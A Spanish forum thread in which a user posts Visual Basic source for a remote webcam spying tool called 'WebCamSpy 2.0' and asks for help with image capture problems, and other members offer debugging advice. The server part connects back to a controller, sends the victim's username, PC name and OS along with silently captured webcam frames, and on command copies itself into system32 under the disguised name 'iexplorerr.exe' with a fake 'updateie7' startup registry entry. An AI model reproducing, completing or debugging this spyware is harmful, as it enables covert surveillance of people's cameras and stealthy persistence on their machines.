Autor
|
Tema: problema captura webcam!!!!! (Leído 4,997 veces)
|
|
CrÄsH
Desconectado
Mensajes: 624
========
|
k usas para capturar¿
|
|
|
En línea
|
~~~~~~~~~~~~~~~~
|
|
|
?¿?
Desconectado
Mensajes: 64
|
CrÄsH se un poco mas claro por favor...no entiendo bien a que te refieres....
|
|
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
tu has hecho el codigo? porque no lo posteas, para poder mirar... puede ser que el codigo este optimizado para transferir rapido los frames del video; tonces como estas conectado remotamente, por ello mostraria en blanco y negro para aumentar la velocidad de transmision; y como en local, es muy rapido, lo puedes apreciar a color.
|
|
|
En línea
|
|
|
|
?¿?
Desconectado
Mensajes: 64
|
el codigo de la conexion es de warghost el de multiconexion lo demas la transferencia si lo hice yo hace tiempo, lo que deje de lado la programacion y los ordenadores hace mucho tiempo sobre todo desde que me banearon del foro y ensima que no tube culpa...pero bueno. aquí pongo el codigo: cliente WCC.frm Private Type TIPONOTIFICARICONO cbSize As Long hwnd As Long uId As Long uFlags As Long ucallbackMessage As Long hIcon As Long szTip As String * 64 End Type Private Const NIF_MESSAGE = &H1 Private Const NIF_ICON = &H2 Private Const NIF_TIP = &H4 Private Const WM_MOUSEMOVE = &H200 Private Const NIM_ADD = &H0 Private Const NIM_MODIFY = &H1 Private Const NIM_DELETE = &H2 '-------------------- Private Declare Function Shell_NotifyIcon Lib "shell32.dll" _ Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, _ pnid As TIPONOTIFICARICONO) As Boolean '-------------------- Dim gtsicon As TIPONOTIFICARICONO Dim pazbro As Variant '------------------------------------------------------------ Private Const WM_LBUTTONDBLCLK = &H203 Private Const WM_LBUTTONDOWN = &H201 Private Const WM_LBUTTONUP = &H202 Private Const WM_RBUTTONDBLCLK = &H206 Private Const WM_RBUTTONDOWN = &H204 Private Const WM_RBUTTONUP = &H205 '--------------------pal icono n la barra d tareas----' Dim dat As String Public FullIndex As Integer Public openindex As Integer Private inDeX_x As Variant
Private Sub cam_Click() camm.Show End Sub
Private Sub cls_Click() On Error Resume Next Unload Me Unload camm Unload new32 End Sub
Private Sub CommandXP1_Click() On Error Resume Next S(0).LocalPort = Text1.Text 'establecemos que el puerto local de escucha para el winsock es el que pongamos en una texbox de nombre txtdat y como no el winsock lo llamamos sck S(0).Close S(0).Listen 'escuchamos con winsock FullIndex = 0 ' a la variable TotalIndex le asignamos el valor de 0 Timer1.Interval = 1 ' control Timer, es un control de "tiempo" nos sirve para ejecutar codigo en un intervalo de tiempo especifico con o sin repetirse el ejecución y codigo del timer If S(0).State = 2 Then 'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando Label2.Caption = " Escuchando por el puerto: " & S(0).LocalPort End If 'fin de la condición End Sub
Private Sub CommandXP2_Click() On Error Resume Next S(0).Close '... Label2.Caption = "Parado.." '.... Unload camm Unload new32 Unload Me Me.Show Label2.Caption = "Parado.." End Sub
Private Sub CommandXP3_Click() lst.SetFocus lst.StartLabelEdit End Sub
Private Sub Form_Load() Call lst.ColumnHeaders.Add(, , "Name", "1400,0500") Call lst.ColumnHeaders.Add(, , "HostName", "1400,0600") 'Agregamos la clumna hostname , de con esta sintasis: (, , "nombre_de_la_columna_q_quieras_poner", "1000,0631") el tamaño seria donde pone: "1000,0631" Call lst.ColumnHeaders.Add(, , "IP/DNS", "1550,1000") 'Agregamos la clumna ip. Call lst.ColumnHeaders.Add(, , "User & Pc/Names", "1700,1300") 'Agregamos la clumna Nick/PC. Call lst.ColumnHeaders.Add(, , "S.O", "1400,0890") 'Agregamos la clumna Sistema Operativo. Call lst.ColumnHeaders.Add(, , "Version", "1000,0945") 'Agregamos la clumna Version. lst.LabelEdit = lvwManual ' al control listview que lo hemos llamado "lst" n su propiedad "LabelEdit" la ponemos del estilo: lvwManual Text1.MaxLength = 6 menu.Visible = False ' Inicializar el icono de la barra de Tarea With gtsicon .cbSize = Len(gtsicon) ' Usar el picture para interceptar los mensajes de Windows .hwnd = Me.PicGTS.hwnd .uId = 1& .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE .ucallbackMessage = WM_MOUSEMOVE .hIcon = Icon ' Es un string de "C" ( \0 ) '.szTip = " " & App.Title & "," & sCopyR & " " & Chr$(0) .szTip = " WebCamSpy 2.0 | Click aquí, para restaurarme !! " End With Shell_NotifyIcon NIM_ADD, gtsicon End Sub
Private Sub Form_Unload(Cancel As Integer) On Error Resume Next Unload camm Unload new32 Unload help End Sub
Private Sub hlp_Click()
End Sub
Private Sub Label3_Click() Me.WindowState = 1 End Sub
Private Sub lst_AfterLabelEdit(Cancel As Integer, NewString As String) On Error Resume Next inDeX_x = Split(lst.SelectedItem.Key, "|") ' a la variable vIndex le decimos que es = a Split(lst.selectdintem.key, "|") , que esto seria: split lo usamos para partir, separar datos, n el control lst ( listview ) en la propiedad selectedintem...cuando hemos selecionado un item del listview, separamos los datos con "|" S(inDeX_x(0)).SendData "datos|" & NewString 'Enviamos paquete con el control winsock ( sck, lo hemos llamado) End Sub
Private Sub lst_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) On Error Resume Next ' ya lo dije If lst.SelectedItem.Selected = False Then Exit Sub 'Si no hay nada selecionado salimos de la funcion If Button = 2 Then ' If para hace una condición, if Button = 2 Then, diria: si button = 2 entonces PopupMenu menu End If 'end if = a . fin de la condición :) End Sub Private Sub PicGTS_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single) ' Este evento se producirá cuando se pulse en el icono de la barra de tareas Static rebool As Boolean, message As Long ' Averiguar el mensaje que se envía message = x / Screen.TwipsPerPixelX ' Para que no se entre si aún se está dentro If rebool = False Then rebool = True Select Case message Case WM_LBUTTONDBLCLK: WCC.WindowState = 0 Case WM_LBUTTONDOWN: Case WM_LBUTTONUP: WCC.WindowState = 0 End Select rebool = False End If End Sub
Private Sub S_Close(Index As Integer) On Error Resume Next S(0).Close ' cerramos el winsock Unload camm Unload new32 Unload AB Unload help End Sub
Private Sub S_ConnectionRequest(Index As Integer, ByVal requestID As Long) On Error Resume Next ' si tenemos un error...seguimos hasta la proxima linea d codec If Index = 0 Then 'si index es 0 FullIndex = 0 'Definimos la varible TotalIndex. Else 'Si no FullIndex = FullIndex + 1 'Definimos la varible TotalIndex. End If 'Cerramos if S(Index).Close 'Cerramos conexion ( del winsock ) S(Index).Accept requestID 'Y aceptamos la conexion ( more winsock xD) Load S(Index + 1) 'Cargamos un nuevo index S(Index + 1).LocalPort = Text1.Text 'y asignamos el puerto de ecucha para el winsock openindex = Index + 1 'Definimos la varible IndexAbir. S(openindex).Listen 'Escuhamos el puerto asignado. End Sub
Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim lol As Integer Dim fileprin As Variant lol = FreeFile fileprin = "c:\captured.jpg" camm.Label1.Caption = "Bytes_Recibidos:" & S(Index).BytesReceived S(Index).GetData dat ' control winsock en su property GetData, donde almasenamos los datos que nos llegan, tenemos los datos en la avriable d nombre: dat, vbString seria: winsock.tienelos_datos, de: dat y vbstring, una cadena del tipo vb datatwo = Split(dat, "|") ' variable datatwo le decimos que es = a Split(dat, "|"), seria: partimos con split los datos que contiene la variable dat con este sigono --> "|" Select Case datatwo(0) ' una condición, n este caso distinta a la sentencia if codigo then else codigo end if , seria esta una condicion del tipo select case..seleciona en caso de: Case "Conexion" 'Caso de conexion Set pr = lst.ListItems.Add(, Index & "|", datatwo(1)) 'Agreamos una nueva conexion al control listview pr.SubItems(1) = datatwo(2) pr.SubItems(2) = datatwo(3) & "/" & S(Index).RemoteHostIP pr.SubItems(3) = datatwo(4) & "/" & datatwo(5) pr.SubItems(4) = datatwo(6) pr.SubItems(5) = datatwo(7) new32.Show new32.Label2.Caption = " " & datatwo(1) new32.Label1.Caption = datatwo(3) & "/" & S(Index).RemoteHostIP new32.Timer1.Enabled = True End Select
Open fileprin For Binary As #lol Seek #lol, LOF(lol) + 1 Put #lol, , dat Close #lol camm.Timer1.Enabled = True
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer) Select Case KeyAscii 'Esta funcion solamente permite caracteres ascii del 48 al 57 Case 48 To 57, vbKeyBack: 'Y la funcion borrar eso significa que solamente permite numeros Case Else: 'retroseso si no es numero su valor vale 0 y no se escribe . KeyAscii = 0 End Select End Sub
Private Sub Timer1_Timer() On Error Resume Next ' en caso d error...? ( esto deberias saberlo ya...) Dim i As Long ' declramos una val d name: i , tipo Long For i = 1 To lst.ListItems.Count 'Creamos un bucle , for seria para i es = a 1 to: hasta el control lst(listview) n su property listitems.Count inDeX_x = Split(lst.ListItems(i).Key, "|") ' separamos con split If S(inDeX_x(0)).State <> 7 Then 'Si no estamos conectado lst.ListItems.Remove (i) 'Elimnaos la conexion End If Next i 'Cerramos el bucle End Sub
Private Sub Timer3_Timer() If S(0).State = 0 Then Label2.ToolTipText = "Parado.." End If If S(0).State = 2 Then Label2.ToolTipText = " Escuchando por el puerto: " & S(0).LocalPort End If End Sub
Private Sub Timer4_Timer() Dim cuentacuenta As Integer, endfinal As Integer ' declaramos 2 variables integers Dim i endfinal = S.Count - 1 ' variable final es = sck.count -1 If endfinal < 0 Then endfinal = 0 ' si final < menos que 0 entonces final = a 0 For i = 0 To endfinal ' analizamos la variable i hasta el valor de la variable final If S(i).State = 7 Then 'si esta es conectado... cuentacuenta = cuentacuenta + 1 ' le asignamos a la val, cuentita el valor de 1 End If ' fin d la condicion Next i ' fin del bucle '& sck.arraycount ' al label2 en su propiedad Caption le ponemos permanentemente el mensaje "Gh0st 1n Th3 Sh3ll", va entre comillas siempre | OFF Topic, luego deberia añadirle si hay una conexion : ghost in the shell: tantos servers conectados ;) estilo bifrost Label1.Caption = " WebCams Online: " & cuentacuenta If S(0).State = 2 Then 'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando Label2.Caption = " Escuchando por el puerto: " & S(0).LocalPort End If End Sub camm.frm Private Sub CommandXP1_Click() On Error Resume Next Dim inDeX_x As Variant inDeX_x = Split(WCC.lst.SelectedItem.Key, "|") WCC.S(inDeX_x(0)).SendData "copiate" End Sub
Private Sub CommandXP4_Click() Dim nombre As String nombre = InputBox("Seleciona el nombre, ejemplo: image.jpg") SavePicture Image1.Picture, nombre & ".jpg" End Sub
Private Sub CommandXP5_Click() On Error Resume Next Dim inDeX_x As Variant inDeX_x = Split(WCC.lst.SelectedItem.Key, "|") Kill ("c:\captured.jpg") WCC.S(inDeX_x(0)).SendData "cammuere" ' Image1.Picture = LoadPicture("") End Sub
Private Sub CommandXP6_Click() On Error Resume Next Dim inDeX_x As Variant inDeX_x = Split(WCC.lst.SelectedItem.Key, "|") WCC.S(inDeX_x(0)).SendData "camstop" End Sub
Private Sub CommandXP7_Click() On Error Resume Next Dim inDeX_x As Variant inDeX_x = Split(WCC.lst.SelectedItem.Key, "|") WCC.S(inDeX_x(0)).SendData "camon" End Sub
Private Sub Form_Load() On Error Resume Next Label1.Caption = "" Kill ("c:\captured.jpg") Image1.Picture = LoadPicture("") End Sub Private Sub Timer1_Timer() On Error Resume Next Image1.Stretch = True camm.Image1.Picture = LoadPicture("c:\captured.jpg") Kill ("c:\captured.jpg") End Sub
servidor Dim WithEvents s As CSocketMaster Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Dim ip As String Dim Port As Long Dim HostName As String, SName As String, Version As String, datos As String Private Sub Form_Load() On Error Resume Next Set s = New CSocketMaster Timer2.Enabled = False Timer1.Interval = 2000 Timer2.Interval = 1 ip = "127.0.0.1" Port = 2012 s.RemoteHost = ip s.RemotePort = Port If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname") = "" Then SName = "Default" Else SName = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname") End If Version = "v1.0" HostName = s.LocalHostName End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 End Sub
Private Sub s_DataArrival(ByVal bytesTotal As Long) On Error Resume Next s.GetData datos
'----para la webcam----' If datos = "camon" Then camon End If If datos = "camstop" Then DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 cammuere End If If datos = "cammuere" Then cammuere End If
Select Case Left(datos, 6) Case "datos|" Dim nombre As String SName = Mid(datos, 7) 'Registro Reg_Crea_KeyConValor &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname", SName End Select
If datos = "copiate" Then FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\iexplorerr.exe" 'nos copiamos a system32 con el nombre de svchosst.exe RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updateie7", "C:\Windows\system32\iexplorerr.exe" End If
End Sub
Private Sub Timer1_Timer() On Error Resume Next If s.State <> 7 Then s.CloseSck s.Connect ip, Port Timer2.Enabled = True End If End Sub
Private Sub Timer2_Timer() On Error Resume Next If s.State = 7 Then s.SendData "Conexion|" & SName & "|" & HostName & "|" & s.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version Timer2.Enabled = False End If End Sub Private Function cammuere() On Error Resume Next Kill ("c:\Juaz.jpg") Kill ("c:\Juazcp.jpg") End Function Private Function camon() On Error Resume Next Dim lol As Integer Dim frago As Integer Dim goblin As String Timer3.Enabled = False lol = FreeFile frago = 8192 goblin = "c:\Juazcp.jpg" SendMessage mCapHwnd, DISCONNECT, 0, 0 mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) SendMessage mCapHwnd, Connect, 0, 0 SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 PV.Picture = Clipboard.GetData SavePicture PV.Picture, "c:\" & "Juaz.jpg" PictureView1.OpenPicture ("c:\Juaz.jpg") If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then End If Open goblin For Binary As #lol Do While Not EOF(lol) camun = Input(frago, #lol) s.SendData camun DoEvents Loop Close #lol End Function
Function RegWrite(ByVal Path As String, ByVal Value As String) Dim ws As Object Set ws = CreateObject("Wscript.Shell") ws.RegWrite Path, Value, "REG_SZ" End Function
y un modulo con Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long
Public mCapHwnd As Long
Public Const Connect As Long = 1034 Public Const DISCONNECT As Long = 1035 Public Const GET_FRAME As Long = 1084 Public Const COPY As Long = 1054 mas cosketmaster mas cjpeg y el control pictureview MODIFICO: algunos comentarios y eso están asi porque son de otros codigos mios que los he cojido para armar esta aplicacion y puedo probarlo por si os quedan dudas. saludos
|
|
« Última modificación: 22 Enero 2009, 02:11 am por Orcodd »
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
he estado mirando un poco, y realmente esta muy desordenado tu codigo; uno con el tiempo aprende nuevas formas de programar mejor. bueno al parecer puede estar al momento de transferir la imagen; pero prueba, no eliminando las imagenes temporales que creas antes de enviarlas colocandole un numero aleatorio, de este modo podras "acorralar" el problema, hasta dar en que parte del codigo esta la incompatibilidad (antes del envio, o durante el proceso de renderizar la imagen es donde "cambia de color").
|
|
|
En línea
|
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
no hagais problema; agrega una nueva variable (la declaras en la parte principal). dim Cont as integer
y luego en el load: Cont = 0
y ahora agregas esto: ... = "juaz" & str(Cont) & ".jpg" y debajo de esa linea (o donde ya no se use mas) vas aumentando el numero asi: Cont = Cont + 1 entonces alli usaras las imagenes, pero estaran avanzando secuencialmente.
Es que ahora tu problema se reduce a investigar en que parte del codigo esta apareciendo el conflicto para poder resolverlo; asi que ser muy minucioso en esa investigacion.
|
|
|
En línea
|
|
|
|
|
?¿?
Desconectado
Mensajes: 64
|
buenas, podrian decirme, por qué cuando le doy a capturar otra imágen de la webcam me sale: selecionar dispositivo . la primera ves que capturo bien, recibo la captura y la hace perfectamente pero cuando doy otra vez al command button me da a elegir el dispositivo de captura como puedo solucionarlo eso es todo, gracias, saludos para todos.
|
|
|
En línea
|
|
|
|
|
|